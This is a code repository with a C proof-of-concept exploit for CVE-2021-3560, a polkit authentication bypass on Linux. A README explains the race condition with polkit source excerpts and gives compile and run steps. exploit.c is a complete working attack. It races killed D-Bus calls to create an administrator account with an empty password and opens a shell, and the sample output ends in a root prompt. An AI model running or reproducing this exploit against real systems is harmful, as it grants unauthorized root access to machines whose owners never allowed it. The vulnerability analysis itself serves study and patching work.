├── .gitignore ├── exploit.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .gdb_history 2 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | // C based PoC for CVE-2021-3560 found by Kevin Backhouse 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | 13 | #define DEST "org.freedesktop.Accounts" 14 | 15 | #define PATH "/org/freedesktop/Accounts" 16 | #define INTERFACE "org.freedesktop.Accounts" 17 | #define METHOD "CreateUser" 18 | 19 | #define _PATH2 "/org/freedesktop/Accounts/User%d" 20 | #define INTERFACE2 "org.freedesktop.Accounts.User" 21 | #define METHOD2 "SetPassword" 22 | 23 | #define USER "pwned-%d" 24 | #define SHADOW_FILE "/etc/shadow" 25 | 26 | void create_user(char *, unsigned int); 27 | void set_password(char *, unsigned int, unsigned int); 28 | dbus_bool_t build_message(DBusMessage*, char *, int); 29 | int is_empty_password_set(long int *); 30 | void launch_shell(char *); 31 | void print_error_and_exit(); 32 | 33 | DBusError dbus_error; 34 | 35 | int main(int argc, char* argv[]) { 36 | char user[40]; 37 | unsigned int uid = 1337; 38 | unsigned int delay = 0; 39 | unsigned int max_delay = 0; 40 | long int shadow_size = 0; 41 | int empty_password_set = 0; 42 | 43 | char * password = ""; // empty password 44 | struct passwd *passwd_user; 45 | 46 | sprintf(user, USER, (int)time(NULL)); 47 | printf("[*] creating \"%s\" user ...\n", user); 48 | 49 | do { 50 | if (fork() == 0) { 51 | create_user(user, delay); 52 | } 53 | wait(NULL); 54 | passwd_user = getpwnam(user); 55 | } while (passwd_user == NULL && ++delay); 56 | 57 | 58 | if (passwd_user == NULL) { 59 | puts("[!] seems the exploit didnt work, user not created, aborting ..."); 60 | return 1; 61 | } else { 62 | uid = passwd_user->pw_uid; 63 | max_delay = delay + 1000; 64 | delay = 0; 65 | } 66 | 67 | puts("[!] user has been created!"); 68 | printf("[*] user: %s, uid: %d\n", user, uid); 69 | printf("[*] setting an empty password for \"%s\" user..\n", user); 70 | 71 | sleep(2); // accountsservice needs some time to recognize the new account, otherwise it will return "no user" 72 | 73 | do { 74 | if (fork() == 0) { 75 | set_password(password, uid, delay); 76 | } 77 | ++delay; 78 | wait(NULL); 79 | empty_password_set = is_empty_password_set(&shadow_size); 80 | } while (!empty_password_set && delay < max_delay); 81 | 82 | if (!empty_password_set) { 83 | printf("[!] couldn't set an empty password for \"%s\" user, try again!\n", user); 84 | return 1; 85 | } 86 | 87 | printf("[*] an empty password has been set for \"%s\" user!\n", user); 88 | printf("[!] run: \"sudo su root\" as \"%s\" user to get root\n", user); 89 | 90 | launch_shell(user); 91 | 92 | return 0; 93 | } 94 | 95 | void create_user(char *user, unsigned int delay) { 96 | DBusConnection * dbus_connection; 97 | DBusMessage * dbus_message; 98 | 99 | unsigned int pid = getpid(); 100 | 101 | dbus_error_init(&dbus_error); 102 | 103 | dbus_connection = dbus_bus_get(DBUS_BUS_SYSTEM, &dbus_error); 104 | if (!dbus_connection) 105 | print_error_and_exit(); 106 | 107 | 108 | dbus_message = dbus_message_new_method_call(NULL, PATH, INTERFACE, METHOD); 109 | if (!dbus_message) 110 | print_error_and_exit(); 111 | 112 | if ( !dbus_message_set_destination(dbus_message, DEST) ) { 113 | fprintf(stderr, "Error while setting destination: Out Of Memory\n"); 114 | exit(0); 115 | } 116 | 117 | if ( !build_message(dbus_message, user, 1) ) { 118 | fprintf(stderr, "Error: while building message: Out Of Memory\n"); 119 | exit(0); 120 | } 121 | dbus_connection_flush(dbus_connection); 122 | dbus_connection_send_with_reply_and_block(dbus_connection, dbus_message, delay, &dbus_error); 123 | kill(pid, 9); 124 | } 125 | 126 | void set_password(char * password, unsigned int uid, unsigned int delay) { 127 | DBusConnection * dbus_connection; 128 | DBusMessage * dbus_message; 129 | 130 | char PATH2[40]; 131 | sprintf(PATH2, _PATH2, uid); 132 | 133 | unsigned int pid = getpid(); 134 | 135 | dbus_error_init(&dbus_error); 136 | 137 | dbus_connection = dbus_bus_get(DBUS_BUS_SYSTEM, &dbus_error); 138 | if (!dbus_connection) 139 | print_error_and_exit(); 140 | 141 | 142 | dbus_message = dbus_message_new_method_call(NULL, PATH2, INTERFACE2, METHOD2); 143 | if (!dbus_message) 144 | print_error_and_exit(); 145 | 146 | if ( !dbus_message_set_destination(dbus_message, DEST) ) { 147 | fprintf(stderr, "Error while setting destination: Out Of Memory\n"); 148 | exit(0); 149 | } 150 | 151 | if ( !build_message(dbus_message, password, 0) ) { 152 | fprintf(stderr, "Error while building message: Out Of Memory\n"); 153 | exit(0); 154 | } 155 | 156 | dbus_connection_flush(dbus_connection); 157 | dbus_connection_send_with_reply_and_block(dbus_connection, dbus_message, delay, &dbus_error); 158 | kill(pid, 9); 159 | } 160 | 161 | dbus_bool_t build_message(DBusMessage* message, char *argument, int create_user) { 162 | DBusMessageIter arguments; 163 | dbus_bool_t success = 1; 164 | 165 | dbus_message_iter_init_append(message, &arguments); 166 | 167 | success &= dbus_message_iter_append_basic(&arguments, DBUS_TYPE_STRING, &argument); 168 | success &= dbus_message_iter_append_basic(&arguments, DBUS_TYPE_STRING, &argument); 169 | if (create_user) { 170 | int account_type = 1; // 0: standard user, 1: adminstrator user 171 | success &= dbus_message_iter_append_basic(&arguments, DBUS_TYPE_INT32, &account_type); 172 | } 173 | return success; 174 | } 175 | 176 | int is_empty_password_set(long int *shadow_size) { 177 | struct stat shadow_stat; 178 | int error; 179 | 180 | error = stat(SHADOW_FILE, &shadow_stat); 181 | if (error != 0) { 182 | puts("[!] an error detected while checking the size of the shadow file!"); 183 | return 0; 184 | } 185 | if (*shadow_size == 0) { 186 | *shadow_size = shadow_stat.st_size; 187 | } 188 | 189 | return (shadow_stat.st_size == *shadow_size - 1); 190 | } 191 | 192 | void launch_shell(char *user) { 193 | char * cmd = "/usr/bin/su"; 194 | char *args[3] = {"-", user, NULL}; 195 | 196 | execv(cmd, args); 197 | } 198 | 199 | void print_error_and_exit() { 200 | if (dbus_error_is_set(&dbus_error)) { 201 | fprintf(stderr, "Error: %s\n", dbus_error.message); 202 | dbus_error_free(&dbus_error); 203 | exit(1); 204 | } 205 | fprintf(stderr, "Unknown error occured\n"); 206 | exit(1); 207 | } 208 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-3560 2 | a reliable C based exploit for CVE-2021-3560. 3 | 4 | # Summary: 5 | Yestreday i stumbled upon this [blog post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/) by Kevin Backhouse (discovered this vulnerability), i tried the bash commands provided in the blogpost and to my surpise it worked on my Kali Linux box! 6 | 7 | CVE-2021-3560 is an authentication bypass on polkit, which allows an unprivileged user to call privileged methods using DBus, the PoC exploits this bug to call 2 privileged methods provided by accountsservice (`CreateUser` and `SetPassword`), which allows us to create a priviliged user then setting a password to it. 8 | 9 | polkit checks if the caller is authorized to call such method, it does so by checking first the user id of the caller, if it is zero then the caller is assumed to be root and the action is allowed without asking for authentication, otherwise it asks for the password of the user. 10 | 11 | `polkit_system_bus_name_get_creds_sync()` function invokes to 2 methods to get the UID and PID of the caller [`GetConnectionUnixUser`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L410) and [`GetConnectionUnixProcessID`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L422), the result of this calls is written to the `data` struct of type `AsyncGetBusNameCredsData` (this struct is [intialized to 0](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L395)) by the callback function `on_retrieved_unix_uid_pid()`, and `polkit_system_bus_name_get_creds_sync()` blocks while waiting for the callback function to set an error or the UID and PID. 12 | 13 | ```C 14 | static gboolean 15 | polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name, 16 | guint32 *out_uid, 17 | guint32 *out_pid, 18 | GCancellable *cancellable, 19 | GError **error) 20 | { 21 | gboolean ret = FALSE; 22 | AsyncGetBusNameCredsData data = { 0, }; // intialize to 0 23 | GDBusConnection *connection = NULL; 24 | GMainContext *tmp_context = NULL; 25 | 26 | connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error); 27 | if (connection == NULL) 28 | goto out; 29 | 30 | data.error = error; 31 | 32 | tmp_context = g_main_context_new (); 33 | g_main_context_push_thread_default (tmp_context); 34 | 35 | g_dbus_connection_call (connection, 36 | "org.freedesktop.DBus", /* name */ 37 | "/org/freedesktop/DBus", /* object path */ 38 | "org.freedesktop.DBus", /* interface name */ 39 | "GetConnectionUnixUser", /* method */ 40 | g_variant_new ("(s)", system_bus_name->name), 41 | G_VARIANT_TYPE ("(u)"), 42 | G_DBUS_CALL_FLAGS_NONE, 43 | -1, 44 | cancellable, 45 | on_retrieved_unix_uid_pid, // callback funtion 46 | &data); // data is passed to the callback function along with the reply from the method 47 | g_dbus_connection_call (connection, 48 | "org.freedesktop.DBus", /* name */ 49 | "/org/freedesktop/DBus", /* object path */ 50 | "org.freedesktop.DBus", /* interface name */ 51 | "GetConnectionUnixProcessID", /* method */ 52 | g_variant_new ("(s)", system_bus_name->name), 53 | G_VARIANT_TYPE ("(u)"), 54 | G_DBUS_CALL_FLAGS_NONE, 55 | -1, 56 | cancellable, 57 | on_retrieved_unix_uid_pid, // callback funtion 58 | &data); // data is passed to the callback function along with the reply from the method 59 | 60 | while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // block while on_retrieved_unix_uid_pid() is not called yet 61 | g_main_context_iteration (tmp_context, TRUE); 62 | 63 | ``` 64 | 65 | the callback function [`on_retrieved_unix_uid_pid()`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L355) is invoked after each method call to retirive the reply (UID and PID) or set an error, this function calls `g_dbus_connection_call_finish()` to retrive the reply if an [error is occured](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L364) then it sets `data.caught_error` to TRUE and returns (`data.uid` and `data.pid` are still set 0). otherwise it assign the retrieved value (UID or PID) to `data.uid` or `data.pid` (depends on what value is retrieved) then returns. 66 | 67 | ```C 68 | static void 69 | on_retrieved_unix_uid_pid (GObject *src, // connection 70 | GAsyncResult *res, // Async result object 71 | gpointer user_data) // data paramter passed from previous function 72 | { 73 | AsyncGetBusNameCredsData *data = user_data; 74 | GVariant *v; 75 | 76 | v = g_dbus_connection_call_finish ((GDBusConnection*)src, res, 77 | data->caught_error ? NULL : data->error); // finish and get the reply 78 | if (!v) // error ?? 79 | { 80 | data->caught_error = TRUE; 81 | } 82 | else 83 | { 84 | guint32 value; 85 | g_variant_get (v, "(u)", &value); // unpack the reply, get UINT32 (u) 86 | g_variant_unref (v); 87 | if (!data->retrieved_uid) // GetConnectionUnixUser method 88 | { 89 | data->retrieved_uid = TRUE; 90 | data->uid = value; 91 | } 92 | else 93 | { 94 | g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID method 95 | data->retrieved_pid = TRUE; 96 | data->pid = value; 97 | } 98 | } 99 | } 100 | 101 | ``` 102 | 103 | `GetConnectionUnixUser` and `GetConnectionUnixProcessID` methods will return the UID and PID if found (caller process is still connected to the bus), or an error if an error occured (e.g: caller process killed). 104 | 105 | once `data.uid` and `data.pid` are set or `data.caught_error` is set the function `polkit_system_bus_name_get_creds_sync()` will continue and here where the vulnerabilty exists, `polkit_system_bus_name_get_creds_sync()` does not return an error if `data.caught_error` is set, instead it set whatever value is in `data.uid` to `out_uid` and [returns TRUE](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkit/polkitsystembusname.c#L442) (even if `data.caught_error` is set). `out_pid` is a pointer to a `guint32` variable passed to `polkit_system_bus_name_get_creds_sync()` when called by `polkit_system_bus_name_get_user_sync()`: 106 | 107 | ```C 108 | static gboolean 109 | polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name, 110 | guint32 *out_uid, // pointer 111 | guint32 *out_pid, // NULL 112 | GCancellable *cancellable, 113 | GError **error) 114 | { 115 | 116 | [snip] 117 | 118 | while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // wait for the callback function to handle reply 119 | g_main_context_iteration (tmp_context, TRUE); 120 | 121 | if (out_uid) // TRUE 122 | *out_uid = data.uid; // set it even if there is an error [!] 123 | if (out_pid) // FALSE 124 | *out_pid = data.pid; // set it even if there is an error [!] 125 | ret = TRUE; // return TRUE even if there is an error [!] 126 | out: 127 | if (tmp_context) 128 | { 129 | g_main_context_pop_thread_default (tmp_context); 130 | g_main_context_unref (tmp_context); 131 | } 132 | if (connection != NULL) 133 | g_object_unref (connection); 134 | return ret; 135 | 136 | ``` 137 | 138 | **exploitation:** 139 | 140 | if the a process A calls a priviliged method using DBus, then polkit will check the UID of the caller, if process A exits imidiatly after it sends the message, then the methods `GetConnectionUnixUser` and `GetConnectionUnixProcessID` will return an error because the caller process does not exist anymore. the callback function `on_retrieved_unix_uid_pid()` will set `data.caught_error` to TRUE, `data.uid` and `data.pid` will remain unchanged (which means they will be both set to 0 as the data struct is intiailized to 0). the function `polkit_system_bus_name_get_creds_sync()` will continue the execution and sets `out_uid` to `data.uid` (0), and return TRUE. 141 | 142 | 143 | a couple of function will keep returning the fake UID (0), until `polkit_backend_session_monitor_get_user_for_subject()` returns `user_of_subject` (built from the fake UID) to `check_authorization_sync()` function, which checks if the UID is root by calling [`identity_is_root_user(user_of_subject)`](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1128) which will return TRUE and process A will be [authorized](https://gitlab.freedesktop.org/polkit/polkit/-/blob/ff4c2144f0fb1325275887d9e254117fcd8a1b52/src/polkitbackend/polkitbackendinteractiveauthority.c#L1130). 144 | 145 | ```C 146 | static PolkitAuthorizationResult * 147 | check_authorization_sync (PolkitBackendAuthority *authority, 148 | PolkitSubject *caller, 149 | PolkitSubject *subject, 150 | const gchar *action_id, 151 | PolkitDetails *details, 152 | PolkitCheckAuthorizationFlags flags, 153 | PolkitImplicitAuthorization *out_implicit_authorization, 154 | gboolean checking_imply, 155 | GError **error) 156 | { 157 | 158 | 159 | [snip] 160 | 161 | user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, 162 | subject, NULL, 163 | error); 164 | if (user_of_subject == NULL) // false 165 | goto out; 166 | 167 | /* special case: uid 0, root, is _always_ authorized for anything */ 168 | if (identity_is_root_user (user_of_subject)) // true 169 | { 170 | result = polkit_authorization_result_new (TRUE, FALSE, NULL); // authorize the caller 171 | goto out; 172 | } 173 | 174 | [snip] 175 | 176 | ``` 177 | 178 | # PoC: 179 | I decided to write a PoC using dbus C API, i didn't use `sleep()` while waiting for the message to be sent to the target service, instead, DBus functions provide a timeout paramter, so by (ab)using this parameter we can force the function to return just after it sends the message, then killing the process, this will allow us to exploit the vulnerability on polkit and bypass the authentication. refer to this [blog post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/) for the technical details. 180 | 181 | # run: 182 | 1. compile the exploit: 183 | 184 | ``` 185 | user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1) 186 | ``` 187 | 2. run the exploit: 188 | 189 | ``` 190 | user@host: ./exploit 191 | ``` 192 | 193 | 194 | - Output: 195 | ``` 196 | user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1) 197 | user@host:~/CVE-2021-3560-testing$ ./exploit 198 | [*] creating "pwned-1624301069" user ... 199 | [!] user has been created! 200 | [*] user: pwned-1624301069, uid: 1007 201 | [*] setting an empty password for "pwned-1624301069" user.. 202 | [*] an empty password has been set for "pwned-1624301069" user! 203 | [!] run: "sudo su root" as "pwned-1624301069" user to get root 204 | ┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing] 205 | └─$ sudo su root 206 | 207 | We trust you have received the usual lecture from the local System 208 | Administrator. It usually boils down to these three things: 209 | 210 | #1) Respect the privacy of others. 211 | #2) Think before you type. 212 | #3) With great power comes great responsibility. 213 | 214 | root@host:/home/user/CVE-2021-3560-testing# id 215 | uid=0(root) gid=0(root) groups=0(root) 216 | ``` 217 | 218 | --------------------------------------------------------------------------------